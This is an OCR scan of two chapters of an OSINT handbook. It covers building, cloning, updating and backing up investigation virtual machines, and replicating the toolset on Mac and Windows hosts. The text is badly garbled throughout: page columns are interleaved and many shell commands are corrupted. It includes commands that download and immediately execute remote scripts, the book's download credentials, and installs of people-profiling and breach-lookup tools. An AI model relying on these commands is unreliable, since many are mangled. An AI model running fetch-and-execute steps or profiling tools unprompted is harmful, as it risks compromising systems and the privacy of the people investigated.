Script 94 Chapter 5 <»•»••* * K <D •A-j» ■ fit-bo S.Xt'TT IP V4>XIM sxi Ir^JCXTKkM DtU lX'.a_Vr» & Sz. If I were launching a new online investigation, I wot powered down) and select "Clone”. I would then investigation, as explained in just a moment. “JH OSINT Original fjB V Running Figure 5.03: The final Linux OSINT VM with customized applications ai Ubuntu Install & Confi... Fa Powered Off Oracle VM VirtualBox Manager o ® New Settings ® General Name: OSINT Original Operating System: Ubuntu (64-bit) L System Base Memory: 8192 MB Processors: Boot Order: Figure 5.02: A VirtualBox menu of OSINT VMs ready for use. AJj Ubuntu Install '<■ >> Powered Off 6 Floppy, Optical, Hard Disk VT-x/AMD-V, Nested Paging, KVM Paravirtualization >uld right-click the "OSINT Original” machine (while create a "Full Clone" and title it appropriately for my ■ While this chapter has abbreviated the steps to build your own OSINT VM, you may still feel overwhelmed with the required effort. In late 2019, my colleague Jesse created a single script which replicates even’ step we have discussed up to this point, including the advanced OSINT Linux tools coming up later. I modified this script to include every’ Linux configuration, installation, and customization mentioned throughout this entire book. After you build your Ubuntu virtual machine within VirtualBox by conducting the steps previously explained, launch the following two commands from within Terminal. You will be prompted to enter your password at least once. After the process completes, you possess the same machine which was built during the tutorials throughout this entire book. OSINT VM Software Updates VM Maintenance & Preservation 95 wget —user osint9 —password bookl43wt https://inteltechniques.com/osintbook9/linux. sh chmod +x linux.sh && ./linux.sh • sudo apt update • sudo apt -y upgrade • sudo snap refresh • sudo apt update —fix-missing • sudo apt —fix-broken install • sudo -H pip list —outdated —format=freeze I grep -f 1 I xargs -nl sudo -H pip install -U • cd -/Downloads/Programs/sherlock • git pull https://github.com/sherlock-project/sherlock.git • cd -/Downloads/Programs/WhatsMyName • git pull https://github.com/WebBreacher/WhatsMyName.git • cd ^/Downloads • wget -N https: /1github.com/ripmeapp/ripme/releases/latest/download/ripme.jar • cd -/Downloads/Programs/EyeWitness • git pull https://github.com/ChrisTruncer/EyeWitness.git Assume that you have not touched your OSINT Original virtual machine in some time, and you are ready to launch a new investigation. You likely have software updates which need to be applied. Instead of cloning and updating ever}' machine, launch your OSINT Original VM and conduct the following within Terminal. These commands will update your operating system, installed applications, and custom programs created during thr previous chapter. I encourage you to ignore this script until you have confidence in your ability to create your virtual machine manually. I find it more satisfying to use a VM which I created myself instead of one generated by an automated script, but I want you to have options. If this script should fail on your VM, revert to the manual methods in order to identify the issue. An ideal scenario would be that you are already familiar with the VM creation and configuration process, but you do not have a configured VM from which to clone. You have an Ubuntu VM, but no OSINT applications. Entering these two commands within the Terminal of any Ubuntu installation should build your OSINT VM in about 10 minutes. This script could also be launched from an Ubuntu host. If you had an old laptop with no other purpose, you could install Ubuntu as the host operating system and run this script. If you look at the script after download, which should be available within your "Home” folder inside your Ubuntu install, you will see that it appears very similar to the text file with all of the Linux commands (https://intcltechniques.com/osintbook9/linux.txt). This new script is simply executing each line as we did manually throughout the book. While it can be a valuable time saver, you also risk missing any errors which occur during execution. You may feel frustrated with me. You may wonder why I did not start the book with this script. While I rely on this single script often, it is cheating. Running a single command and achieving a complete VM is convenient and time-saving, but it also eliminates any need to understand the processes. I believe the education received while manually building an OSINT VM is more valuable than the final product itself. However, this automated script simplifies the process when we need to quickly create another OSINT VM. It also allows me to apply updates as needed from my end. You could launch this script a year after reading the book and immediately apply all updates and changes which have occurred since publication. OSINT VM Software Update Script OSINT VM Maintenance 96 Chapter 5 • Right-click the VM titled "OSINT Original", click "Clone", and title it "OSINT Test". • Supply the desired storage location and click "Continue". • Select "Full Clone" and click the "Clone" button. cd -/Downloads/Programs/Sublist3r git pull https://github.com/aboul31a/Sublist3r.git cd -/Downloads/Programs/Photon git pull https://github.com/s0md3v/Photon.git cd -/Downloads/Programs/theHarvester git pull https://github.com/laramies/theHarvester.git cd -/Downloads/Programs/Carbonl4 git pull https://github.com/Lazza/Carbonl4 cd -/Downloads/Programs/metagoofil git pull https://github.com/opsdisk/metagoofil.git cd -/Downloads/Programs/sherloq git pull https://github.com/GuidoBarroli/sherloq.git cd -/Downloads/Programs/recon-ng git pull https://github.com/lanmaster53/recon-ng.git cd -/Downloads/Programs/spiderfoot git pull https://github.com/smicallef/spiderfoot.git cd -/Downloads/Programs/Elasticsearch-Crawler git pull https://github.com/AmIJesse/Elasticsearch-Crawler.git cd -/Downloads/Programs/ghunt git pull https://github.com/mxrch/ghunt.git sudo apt autoremove -y i the customization.5; made throughout this latcs Complete!" within Terminal. You can completely updated. While the "Software not update This script also includes the basic commands to update your operating system files and stock applications. * e first five commands address this issue. Everything else focuses on section of die book. After the script finishes, you should see "Upd: now close the Terminal window knowing your system has been . Updates" icon within Ubuntu's Application menu updates your overall Ubuntu environment, it does the OSINT applications. This is a better method. You should now have a completely functional and updated virtual machine titled "OSINT Original". This is your clean machine with no contamination from any investigation or testing. It has all the software we want, and it is ready to be used. Next, let's consider an "OSINT Test" machine. This is the VM on which you can practice Linux commands, test new programs, or create new scripts. It is a VM which will never be used for any investigations. Its sole purpose is to give you a safe playground to experiment. Complete the following tasks within VirtualBox. 1 believe these update commands should be executed as often as possible. You always want your OSINT Original VM to have the latest software. Manually entering each of these commands on a daily or weekly basis is exhausting. This is why 1 have created a script to update everything we have installed in our OSINT Original VM. This file is included within the scripts folder of the Linux "vm-files" archive previously downloaded, and the content can be seen by opening "updates.sh" within your Ubuntu VM. You can launch this file by clicking the "Update Scripts" application in the Applications menu or Dock of your OSINT Original VM. Look for the circular arrow icon in the lower Dock next to the Terminal icon. o JU 1 Snapshots Acceleration: | k[i Logs Display Figure 5.04: Cloned machines and snapshots within VirtualBox. VM Maintenance & Preservation 97 Android 9.0.0 2020 @ Powered Off Take ec u- : Name v Full Install + 0 Currents contamination from or as part of New Settings *-■ . General Name: Operating Sys 'll System Base Memory: Processors: Boot Order: Once you have your Original VM created, configured, and updated, it is best to export a copy as a backup. You have put a lot of time into this, and I would hate to see you lose the hard work. If your computer or storage device would crash beyond repair, you would need to start over. If your Original VM would become corrupted, restoring the data would be quite difficult. I keep an exported copy of my Original VM on a USB drive in case of emergency. In VirtualBox, conduct the following steps. .1JT00,s ffiT00,s 'Lj; Details I J— —J 0SINT Or‘9inal If fl Running You now have a fully functional cloned "Test VM". Any activity within that machine will not change anything in any other VMs. Repeat this cloning process any time you wish to conduct an investigation. In this scenario, assume 1 created a new clone titled Case #2021-143. I can open this new VM which appears identical to my original. I can conduct my investigation and close the machine. All evidence is stored within the machine and can be extracted to my shared folder or USB drive if desired. All of my VMs arc visible in Figure 5.04 (left). The Android VM visible at the top is explained in the next chapter. Figure 5.04 (right) displays the Snapshots menu option and an example of a Snapshot ready for restoration. ® Shut down the VM you want to export. • Single-click on the VM within die VirtualBox menu. • Click on "File" in the menu, "Export Appliance", confirm the selection, and click "Continue". • Choose the "File" export location on your drive and click "Continue" then "Export". Ubuntu Install Powered Off Casa #2021-143 (cl...) If/d Powered Off Android 9.0.0 2020 1 O' Powered Off OSINTOriginal (Full...) I (b) Powered Off Ubuntu Install (Install) y 4l ® Powered Off This plan ensures that every investigation is completed on a clean VM with absolutely no previous investigations. My exported investigation VMs can be provided to odier investigators discover}' in litigation. I am prepared to testify with confidence, if required. I launch my OSINT Original VM weekly and apply all updates. 1 export my OSINT Original VM monthly as a backup. I conduct all software auditing and install new apps for testing on the OSINT Test VM. I create a new clone of the OSINT Original for every’ new investigation. At the end of the investigation, 1 export all evidence to an external drive. If necessary’, I create an exported copy’ of investigation VMs for later review. 1 delete investigation VMs when no longer needed. This produces a single large file which contains your entire OSINT Original VM. You could import this file into any instance of VirtualBox with the "File" and then "Import Appliance" options. My strategy’ is as follows. Windows VM 98 Chapter 5 You will notice branding within the desktop advising it is a trial. If that bothers you, you must acquire a license and install from traditional media. This method is the easiest (and cheapest) option to possess a legal copy of Windows within a VM at no cost • Navigate to https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/. • Choose "MSEdge on WinlO" as the Virtual Machine. • Choose "VirtualBox" as the Platform, and click "Download Zip”. • Unzip the downloaded file and keep a copy with your other VM backups. • In VirtualBox, click "File" and "Import Appliance" in the menu. • Choose the "ovf1 file which you extracted from the zip file and click "Continue". • Make any desired modifications as previously explained and click "Import". • In the VirtualBox menu, click "Settings" then "Storage". • Click the first"+" to add an optical drive, click "Leave empty", and click "OK". • Before launching, create a snapshot of the VM as previously explained. • Double-click the new Windows 10 machine to launch. • Enter the password of "PasswOrd!" to enter Windows. • In the VirtualBox menu, click "Devices" and "Insert Guest Additions CD". • Through the Files explorer, double-click the mounted CD and choose "Yes". • Click "Next", "Next", and "Install" to configure the default options. • Reboot when prompted. You now have a fully functioning and legal Windows 10 VM at your disposal. You can resize the window as desired and install any Windows applications. You can configure the copy and paste options, shared folder, or any other customizations as previously demonstrated. This is a 90-day trial, at which time the VM will no longer boot. You can revert to the original snapshot you created at any time to restart the 90-day trial. Surprisingly, this is allowed and encouraged from Microsoft. While 1 prefer to conduct all investigations solely inside Linux, 1 respect that there may be a need for a Windows VM. In fact, I am using one now. I write all of my books within an offline copy of Microsoft Word. I create protected press-ready PDFs with Adobe Acrobat Pro. Neither of these applications run reliably on a Linux machine, and my personal laptop possesses Debian as the host operating system. Therefore, I keep a Windows VM for all writing. Installing Windows inside VirtualBox is not difficult, but licensing may be an issue. Therefore, we will rely on the official Microsoft Windows 10 VM available directly from their website. I offer one final thought on creating your virtual machine. The chances of every application mentioned here installing without any issue is slim. Programs break, updates cause issues, and the countless variables on your system can be problematic. When something fails, keep moving on to the other options. Most of the time, a future update, which you will receive during your update process, will fix things which currendy do not work. Hopefully, you now have a virtual machine in pristine condition ready for your investigations. Keep your original clean and only use it for updates. Make clones of it for each investigation. Make sure you have a safe backup copy stored outside your primary device. Most importandy, understand the steps you have taken. It is very likely that you will need to modify some of these commands as things change from the software developers. If you should receive an error on any specific step in these tutorials, search that exact error online and you should be presented many solutions. I send a sincere "Thank you" to David Westcott for opening my eyes to the many ways in which Linux can be customized for our needs as online investigators. Mac OSINT Host /bin/bash ”S(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)" Mac & Window’s Hosts 99 • You want to replicate all of the Linux VM applications and settings within your Mac or Windows computer or virtual machine. • You understand that conducting investigations within a native Mac of snapshots or clones, may contaminate your online evidence. Ch a pt e r Six Ma c & w in d o w s Ho s t s or Windows host, without the use The first step is to install Brew. This is a package (software) manager which was mentioned in Chapter One when discussing antivirus options for Mac computers. If you installed Brew then, you do not need to repeat the process. If you did not, the following command within Terminal will install and configure the software. There is no harm executing this command a second time. https://inteltechniques.com/osintbook9/mac.txt https://inteltechniques.com/osintbook9/windows.txt I was originally conflicted writing this chapter. I previously explained the benefits of Linux virtual machines for OSINT work and rely on them daily. I encourage everyone to consider them as a way to protect the integrity of online investigations while isolating each case. However, VMs are not for everyone. Since the seventh edition, I have heard from many readers asking to replicate the Linux tools within Mac and Windows. Some readers do not have hardware which supports virtualization. Some do not have the permission from their employers to install virtual machine software due to licensing concerns. Many simply are not comfortable with Linux and want an easier solution. You may just want the ability to practice within an operating system with which you are familiar. These are all legitimate reasons to avoid Linux and 1 hold no judgement. I must confess that I often download videos directly from my Mac with my own scripts. Regardless of your reasons, you may want to create an OSINT machine within native Mac or Windows. This chapter makes that happen. I believe the ability to replicate Linux programs within Mac and Windows will encourage non-technical readers to embrace these options. The tutorials within this section assume the following. I begin with Mac because it is very similar to Ubuntu. In fact, Mac and Ubuntu are both based on a UNIX file system and most of the commands are cross-compatible. We will need to make many modifications to the operating system and scripts, but the basic usage will seem very familiar. I then explain the process for Windows, which involves many more steps. All of the software installed during this chapter is completely free for personal and commercial use without licensing restrictions. Ever}7 command within this chapter is available in digital form at the following locations. Similar to the previous tutorials, enter a username of "osint9" and password of "book!43wt" (without quotes), if required, for access to these resources. All tutorials presented within this chapter assume you are working with a new Mac or Windows machine or VM. Pre-existing installations should function fine, but may conflict with some steps. The software and tutorials are provided "as is", without warranty of any kind. In no event shall the author be liable for any claim, damages or other liability, arising from, out of, or in connection with the software or tutorials presented here (this makes my lawyer happy). This command may take a long time to complete. It may ask you for your password a couple of times, so you should monitor occasionally. In my test, 1 had to enter my password twice and confirm installation with "enter" once. Next, we need to install a recent version of Python3. While most Macs now have Python3 included by • brew install python3 100 Chapter 6 default, it is typically an older version. The following command within Terminal installs the latest version of Python3 and overrides the default version. • cd -/Desktop • curl —u osint9:bookl43wt -0 https://inteltechniques.com/osintbook9/tools.zip • unzip tools.zip -d -/Desktop/ Next, configure the Firefox browser with all extensions and settings previously explained with the following steps. • brew autoremove • brew cleanup -s • rm -rf "$(brew —cache)” • brew doctor • brew missing • brew install zenity youtube-dl yt-dlp ffmpeg pipenv mat2 httrack exiftool internetarchive ripgrep instalooter fileicon wget streamlink libmagic • brew install —cask firefox google-chrome vic tor-browser google-earth- pro keepassxc mediainfo phantomjs xquartz • brew tap caffix/amass && brew install amass • Open Firefox and close it completely. • cd -/Desktop • curl -u osint9:bookl43wt -0 https://inteltechniques.com/osintbook9/ff- template.zip • unzip ff-template.zip • cd ff-template • cp -R * -/Library/ApplicationX Support/Firefox/Proflies/* . default­ release • cd -/Desktop • rm -rf ff-template MACOSX • Open Firefox and confirm all extensions and settings are present. Next, we want to install several of the Linux applications mentioned within the previous chapters onto our native Mac machine using Brew. The first two commands can also take a long time to complete, but the third should run quickly. You may be asked for your password. The following commands configure the majority of our basic programs for immediate use. Note that pre-existing Firefox installations may conflict with this tutorial. If needed, manually copy my profile to yours using the methods explained in Chapter Three. Now that we have Firefox configured, we need all of the custom scripts, links, icons, and tools which were present within the Linux VM. Conduct the following in Terminal. This will also remove any downloaded files which are no longer needed. If any of these packages become unavailable, you will receive an error preventing all installations. If this happens, remove the missing package from these commands. After you have installed all of the Brew options, run the following commands to make sure everything is set up appropriately. If you receive any errors, follow the provided guidance within each dialogue. requirements.txt -I requirements.txt -I requirements.txt -I requirements.txt -I requirements.txt -I requirements.txt Mac & W indows Hosts 101 • curl —u osint9:bookl43wt -0 https://inteltechniques.com/osintbook9/mac- files.zip • unzip mac-files.zip -d -/Desktop/ • mkdir -/Documents/scripts • mkdir -/Documents/icons • cd -/Desktop/mac-files/scripts • cp * -/Documents/scripts • cd -/Desktop/mac-files/icons • cp * -/Documents/icons • cd -/Desktop • rm mac-files.zip tools.zip • rm -rf mac-files • rm -rf ff-template We now need to install all of the remaining programs which are not available within Brew. The following commands within Terminal execute each installation and configuration requirement. • sudo -H python3 -m pip install -I youtube-tool Instaloader toutatis nested-lookup webscreenshot redditsfinder socialscan holehe waybackpy gallery-dl xeuledoc bdfr search-that-hash h8mail -I • wget http: //svn.exactcode.de/t2/trunk/package/xorg/xorg-server/xvfb- run.sh chmod +x xvfb-run.sh mv xvfb-run.sh /usr/local/bin/xvfb-run cd -/Downloads && mkdir Programs && cd Programs cd -/Downloads/Programs git clone https://github.com/Datalux/Osintgram.git cd Osintgram sudo -H python3 -m pip install make setup cd -/Downloads/Programs git clone https://github.com/sherlock-project/sherlock.git cd sherlock && sudo -H python3 -m pip install -r requirements.txt -I cd -/Downloads/Programs git clone https://github.com/WebBreacher/WhatsMyName.git cd WhatsMyName && sudo -H python3 -m pip install cd -/Downloads/Programs git clone https://github.com/martinvigo/email2phonenumber.git cd email2phonenumber && sudo -H python3 -m pip install -r requirements.txt -I git clone https://github.com/aboul31a/Sublist3r.git cd Sublist3r && sudo -H python3 -m pip install cd -/Downloads/Programs git clone https://github.com/s0md3v/Photon.git cd Photon && sudo -H python3 -m pip install -r cd -/Downloads/Programs git clone https://github.com/laramies/theHarvester.git cd theHarvester && sudo -H python3 -m pip install cd -/Downloads/Programs git clone https://github.com/Lazza/Carbonl4 cd Carbonl4 && sudo -H python3 -m pip install -r j cd -/Downloads/Programs git clone https://github.com/GuidoBartoli/sherloq.git requirements.txt requirements.txt requirements.txt 102 Chapter 6 • cd '•/Documents/scripts • fileicon set DomainX Tool -/Documents/icons/domains.png • fileicon set Breaches-LeaksX Tool -/Documents/icons/elasticsearch.png • fileicon set WebScreenShot -/Documents/icons/eyewitness . png • fileicon set GalleryX Tool -/Documents/icons/gallery. png • fileicon set HTTrack -/Documents/icons/httrack.png • fileicon set InstagramX Tool -/Documents/icons/ins tagram.png • fileicon set InternetX Archive -/Documents/icons/internetarchive.png • fileicon set Metadata -/Documents/icons/metadata.png • fileicon set Metagoofil -/Documents/icons/metagoofil.png • fileicon set OSINTX Tools -/Documents/icons/tools.png • fileicon set Recon-NG -/Documents/icons/recon-ng.png • fileicon set RedditX Tool -/Documents/icons/reddit .png • fileicon set Spiderfoot -/Documents/icons/spiderfoot .png • fileicon set Updates -/Documents/icons/updates.png • fileicon set UsernameX Tool -/Documents/icons/usertool .png • fileicon set VideoX DownloadX Tool ~/Documents/icons/youtube-dl.png • fileicon set VideoX StreamX Tool -/Documents/icons/streamlink.png • fileicon set VideoX Utilities -/Documents/icons/f fmpeg .png If you are copying these commands from the "mac.txt" file on my website, you should be able to copy an entire section and paste it all into Terminal at once. Striking enter on your keyboard should execute each command individually. This can be very convenient once you are comfortable with this process, but I believe each line should be submitted manually as you become familiar with the actions. To be safe, restart the machine after these steps. Next, I like to make some graphical adjustments to my Mac OSINT build. First, I embed the same icons used for the Linux VM into the Mac Scripts. The following commands replicate my process. However, the "mac.txt" file in your downloads includes a single command which conducts all of these steps at once. cd sherloq/gui && sudo -H python3 -m pip install -r cd -/Downloads/Programs git clone https://github.com/opsdisk/metagoofil.git cd metagoofil && sudo -H python3 -m pip install -r : cd -/Downloads/Programs git clone https: //github. com/MalloyDelacroix/DownloaderForReddit.git cd DownloaderForReddit && sudo -H python3 -m pip install -r requirements.txt -I cd -/Downloads/Programs git clone https://github.com/lanmaster53/recon-ng.git cd recon-ng && sudo -H python3 -m pip install -r REQUIREMENTS -I cd -/Downloads/Programs git clone https://github.com/smicallef/spiderfoot.git cd spiderfoot && sudo -H python3 -m pip install cd -/Downloads/Programs git clone https://github.com/AmIJesse/Elasticsearch-Crawler.git cd -/Downloads && h8mail -g sed -i '' ,s/\;leak\-lookup\__pub/leak\-lookup\_pub/g' h8mail_config.ini cd -/Downloads/Programs git clone https://github.com/mxrch/ghunt cd ghunt && sudo -H python3 -m pip install -r requirements.txt -I sudo -H python3 -m pip list —outdated —format=freeze I grep -v ’A\-e* I cut -d = -f 1 | xargs -nl sudo -H python3 -m pip install -U sudo shutdown -r now In -s -/Documents/scripts/ /Applications/ Single Install Command (Mac) Issues Mac & Windows Hosts 103 defaults write com.apple.dock persistent-apps -array-add '<dict>< key>tile-data</key><dictxkey>file-data</key><dictxkey>_CFURLString </keyxstring>/Applications/scripts/Domain Tool</string> <key>_ CFURLStringType</keyxinteger>O</integerX/dictx/dictX/dict>' The command to place the scripts within the Dock is too long to place here. It would have taken three pages to display in the book. The following would copy only the Domain Tool script. You should now see your Mac scripts with custom names and icons. However, you likely cannot launch any of them by simply double-clicking the files. This is due to Apples Gatekeeper security rules. Since my simple scripts are not registered with Apple and none of them possess security certificates, they are blocked by default. There are two ways to bypass this. You could double-click a script; acknowledge the block; open your security settings; enter your password; choose the option to allow the script to run; and repeat for each file. This is quite time consuming. I prefer to right-click on each file; select "Open"; then confirm the security exception. You only need to do this once per file. This is a one-time nuisance, but the protection is beneficial for digital security. The long single command included within your "mac.txt” file places shortcuts to every program and script present within the Linux VM into your Dock. Look for the section titled "Add Programs To Dock And Modify Size". Warning: It overrides all settings of your current Dock. You should now possess a Mac machine which replicates practically every aspect of the Ubuntu OSINT VM. Figure 6.01 displays the final result with all applications visible. You may be expecting a simple command which will replicate all of these steps as was presented with the Linux VM chapter. If so, you will be disappointed. I exclude a single install command for a few reasons. If you applied the Mac build steps presented within the previous edition of this book, you may see many errors while executing the steps presented here. This is mostly due to the presence of this software already on your system. There is no concern. Simply go through these steps, ignore any errors, and be sure to run the update script when complete. If your Terminal session asks you to override any files, confirm this option. You might be presented with an option to enter "A" in order to allow overwriting of all files. Either way, allow your system to replace any previous software and you should be caught up to this version of all software, scripts, and tools. If you find many of the Terminal applications installed within Brew to be missing, you may have an issue with your "PATH". Execute "brew doctor" within Terminal and follow the advice presented on the screen. First, the Linux section assumes that you have created a virtual machine which can be easily deleted and rebuilt. Making these changes to your Mac computer should be very intentional and deliberate. I don’t want to offer a script which could make drastic changes to your host computer which could impact other installed applications. Next, replicating the Linux steps is not the same as on a Mac due to security restrictions within the operating system. There are a few steps which require manual execution which cannot be properly replicated within Terminal. As an example, I can easily launch and close Firefox within Terminal on Linux, but it can be difficult to do on a Mac. You must also manually launch the custom programs during first use in order to allow them to run on your host. I cannot replicate that in Terminal. For these reasons, 1 ask you to apply these steps manually. Next, I want to add my custom scripts to the Dock at the bottom of my screen and within my Applications folder. I also want to decrease the size of the icons; remove all standard Apple applications from the Dock; and place my programs in the exact same order as the Linux VM. The command to add the scripts to your Applications folder is as follows. O "n.«w Lr*j1 Xl£vw« e ctrBQQoo e®3Q, eo p □!•>)« •■ c Figure 6.01: A final macOS OSINT machine. Updates 104 Chapter 6 •Of’ Ixu *>» * 1«Jj _ ________________________ ■ 7 See =g77 ^■ 1” =®= :: o t 7 ESS7 “^-SKMSE- Finally, I want the ability to update all of these programs whenever desired. The following can be entered manually, or you can simply click on the custom "Updates" icon now in your Dock. That script simply executes each line presented here automatically. All of these commands are also available at the bottom of the "mac.txt" file on my website. If (when) tilings change, I will update die information there, and you can apply it to your own Updates script if desired. • brew update • brew upgrade • brew upgrade —greedy • brew autoremove • brew cleanup -s • rm -rf "$(brew —cache)" • brew doctor • brew missing • sudo -H python3 -m pip list —outdated —format=freeze I grep cut -d = -f 1 | xargs -nl sudo -H python3 -m pip install -U • cd -/Downloads/Programs/sherlock • git pull https://github. com/sherlock-project/sherlock. git • cd -/Downloads/Programs/WhatsMyName • git pull https://github.com/WebBreacher/WhatsMyName.git • cd ~/Downloads/Programs/Sublist3r • git pull https://github.com/aboul31a/Sublist3r.git • cd -/Downloads/Programs/Photon • git pull https://github.com/s0md3v/Photon.git • cd ~/Downloads/Programs/theHarvester • git pull https://github.com/laramies/theHarvester.git • cd ~/Downloads/Programs/Carbonl4 Reverse All Changes (Mac) requirements.txt -y requirements.txt -y requirements.txt -y requirements.txt -y requirements.txt -y REQUIREMENTS -y requirements.txt -y Mac & Windows Hosts 105 • git pull https://github.com/Lazza/Carbonl4 • cd -/Downloads/Programs/metagoofil • git pull https://github.com/opsdisk/metagoofil.git • cd -/Downloads/Programs/sherloq • git pull https://github.com/GuidoBartoli/sherloq.git • cd ~/Downloads/Programs/recon-ng • git pull https://github.com/lanmaster53/recon-ng.git • cd -/Downloads/Programs/spiderfoot • git pull https://github.com/smicallef/spiderfoot.git • cd -/Downloads/Programs/Elasticsearch-Crawler • git pull https://github.com/AmIJesse/Elasticsearch-Crawler.git • cd ~/Downloads/Programs/ghunt • git pull https://github.com/mxrch/ghunt.git sudo -H python3 -m pip uninstall ■ cd -/Downloads/Programs/Sublist3r sudo -H python3 -m pip uninstall - cd -/Downloads/Programs/Photon sudo -H python3 -m pip uninstall ■ requirements.txt -y cd ~/Downloads/Programs/email2phonenumber requirements.txt -y requirements.txt -y cd -/Downloads/Programs/theHarvester requirements.txt -y Assume you completed this tutorial and you have regret You made substantial changes to your host operating system and you simply want to reverse the steps taken within this section. Maybe your supervisor is questioning your decision to modify an employer-owned computer and you are in the hot seat. Simply conduct the following within Terminal. Note that this removes all custom settings applied within these programs, but should not remove any pre-installed applications or unrelated modifications. sudo -H python3 -m pip uninstall youtube-tool Instaloader toutatis nested- lookup webscreenshot redditsfinder socialscan holehe waybackpy gallery-dl xeuledoc bdfr search-that-hash h8mail -y cd -/Downloads/Programs/Osintgram sudo -H python3 -m pip uninstall -r cd -/Downloads/Programs/sherlock sudo -H python3 -m pip uninstall -r cd -/Downloads/Programs/WhatsMyName sudo -H python3 -m pip uninstall -r • sudo -H python3 -m pip uninstall -r • cd -/Downloads/Programs/Carbonl4 • sudo -H python3 -m pip uninstall -r • cd -/Downloads/Programs/sherloq/gui • sudo -H python3 -m pip uninstall -r • cd -/Downloads/Programs/metagoofil • sudo -H python3 -m pip uninstall -r requirements.txt -y • cd ~/Downloads/Programs/bulk-downloader-for-reddit • sudo -H python3 -m pip uninstall -r requirements.txt -y • cd -/Downloads/Programs/recon-ng • sudo -H python3 -m pip uninstall -: • cd -/Downloads/Programs/spiderfoot • sudo -H python3 -m pip uninstall • cd -/Downloads/Programs/ghunt requirements.txt -y Windows OSINT Host 106 Chapter 6 • /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/ Homebrew/install/master/uninstall. sh) " -/Documents/scripts -/Documents/icons Some readers may wonder why I recommend the lengthy steps on the previous pages when this single command should wipe out everything installed with Brew. In my experience, deleting the Brew application does not fully remove apps installed with Brew. Deleting Brew apps, such as Python3, does not remove the dependencies we installed with the various "pip" commands. Replicating all of these commands eliminates much more data than removing Brew alone. If you are using the "mac.txt" file to copy and paste the commands as recommended, you could copy them all at once and let it go. Note that you will likely be asked to enter your password at least once. All of these commands are at the end of your "mac.txt" file for easy copy and paste. You may receive an error about permissions for a few Brew apps. This is usually due to files which are actively in use by the operating system. That is fine, as we will remove those in the next step. The final phase is to remove the Brew application completely with the following command. Note that this is one command displayed within multiple lines. When I first started thinking about creating a Windows OSINT machine, I considered using the Windows Subsystem for Linux (WSL). This feature allows native use of Linux commands and applications within a virtual space directly in Windows. However, this presented many issues. Some versions of Windows rely on WSL 1 while others support WSL 2. The file storage within WSL and execution of programs can present complications, and I eventually abandoned the idea of using WSL for our needs. I then focused on Power Shell. This command line utility is very similar to the native Windows Command Prompt but with added features. I found it to be overkill for our needs. Therefore, I settled on traditional batch files executed through Command Prompt. • sudo -H python3 -m pip uninstall • sudo rm • sudo rm • sudo rm -r -/Downloads/Programs • sudo rm -r /Applications/scripts • sudo rm /usr/local/bin/xvfb-run • brew uninstall zenity youtube-dl yt-dlp ffmpeg pipenv mat2 httrack exiftool internetarchive ripgrep instalooter fileicon wget streamlink libmagic amass firefox google-chrome vic tor-browser google-earth-pro keepassxc mediainfo phantomjs xquartz • brew remove —force $(brew list) • brew cleanup -s • defaults delete com.apple.dock && killall Dock Your Mac operating system should be back the way it was before replicating the methods in this chapter. If you executed any of the apps and conducted queries, you may see that data within your Desktop or Documents folders. These can be deleted manually. There will still be evidence of these installations within your standard operating system file structure. However, the applications and all visual clues should now be gone. All of the scripts and Python dependencies will no longer be present. Next, let’s tackle Microsoft Windows as an OSINT environment. I have been creating batch files since the 90's. These small text files are very similar to the Bash scripts which we created previously within Linux. I believe Windows batch files are actually simpler to create and more straight-forward in design. The menus are not as pretty as what we saw with Linux and Mac. However, the function will be identical. Let's take a look at the difference. Figure 6.02 (left) displays the Video Download Tool within the Linux VM. Figure 6.02 (right) displays the Video Utilities Tool available within the Windows OSINT machine. The left is a pop-up menu while the right is a script within a traditional Command Prompt display. Some may prefer the simplicity of the Windows option (1 do). © OK Figure 6.02: A comparison of Linux and Windows script execution. Sherlock Exit Mac & Windows Hosts 107 X Select task: Type option: Choose Option Choose Option Best Quality Maximum 720p Export YT Comments Export YT Playlist Export YT Info :1 set Zp url=Target Username: cd ouserprofile%\Downloads\Programs\sherlock\sherlock py sherlock.py %url% > %userprof ile?d\Documents\%url%-Sherlock. txt start "" Suserprofile%\Documents\%url%-Sherlock.txt goto home set /p url=Target Username: socialscan %url% > %userprof ile?d\Documents\%url%-SocialScan. txt start "" %userprofile%\Documents\iourl%-SocialScan.txt goto 2 goto 3 if "%web%"=="4" goto 4 if "%web%"=="5" goto 5 if ,,%web%"=="6" exit Next, we should compare the scripts. The previous Linux ".sh" files were explained in Chapter Four and were used during the Mac option presented within this chapter. The ".bat" files included within the "scripts" folder at https://inteltechniques.com/osintbook9/windows-files.zip are pre-configured to replicate all of the Python scripts inside Windows. During the upcoming tutorials to build your Windows OSINT machine, I present die proper way to automatically download and configure these scripts. First, let's take a look at an actual batch file. The following page displays the Username Tool titled "uscrtool.bat" within your download. 1) Play a video 2) Convert a video to mp4 3) Extract video frames 4) Shorten a video (Low Activity) 5) Shorten a video (High Activity) 6) Extract Audio 7) Rotate Video 8) Download a video stream (ffopeg) 9) Exit @echo off title Username Tool : home cis echo. echo Select a task: echo == echo. echo 1) echo 2) SocialScan echo 3) Holehe echo 4) WhatsMyName echo 5) Email2Phone echo 6) echo. set /p web=Type option: if "%web%"=="l" goto 1 if "%web%"=="2” if "%web%"==”3" goto home Now, let's break down these new commands. Sherlock, SocialScan, Holehe, WhatsMyName, Exit would take you to the commands 108 Chapter 6 _'i as "Select a task". visible within the Command Prompt window, which menu displays : 5 set /p url=Target Email: cd -oUserprofile%\Downloads\Programs\email2phonenumber py email2phonenumber.py scrape -e %url% pause goto home :3 set /p url=Target Username: holehe %url% > %userprofile%\Documents\%url%-Holehe. txt start "" %userprofile%\Documents\%url%-Holehe.txt goto home • @echo off: This disables commands from being displayed within the Command Prompt menu. • title Username Tool: This displays a title of the menu prompt. • : home: This identifies the following text as the "home" screen. • cis: This clears all text from the Command Prompt window. • echo Select a task: This displays any text after "echo", such • echo 1) Sherlock: This displays the menu \------ ------------------ displays the following in this tool. :4 set /p url=Target Username: cd %userprofile%\Downloads\Programs\WhatsMyName py web_accounts_list_checker.py -u %url% > %userprofile%\Documents\%url%- WhatsMyName.txt start 9oUserprofile%\Documents\%url%-WhatsMyName. txt goto home set w.e^TyPe option: This provides an option to accept user input. The Type Option" and waits for a response, such as "1". if oweb-o -="1" goto 1: This option collects the input from the previous command and navigates the user accordingly. If you had entered "1", the menu would take you to the commands under :1". . 1. This identifies a set of commands based on the previous selection. set /p„ url-Target Username: This provides an option to accept user input. The menu splays Target Username" and waits for a response, such as "inteltechniques". • cd 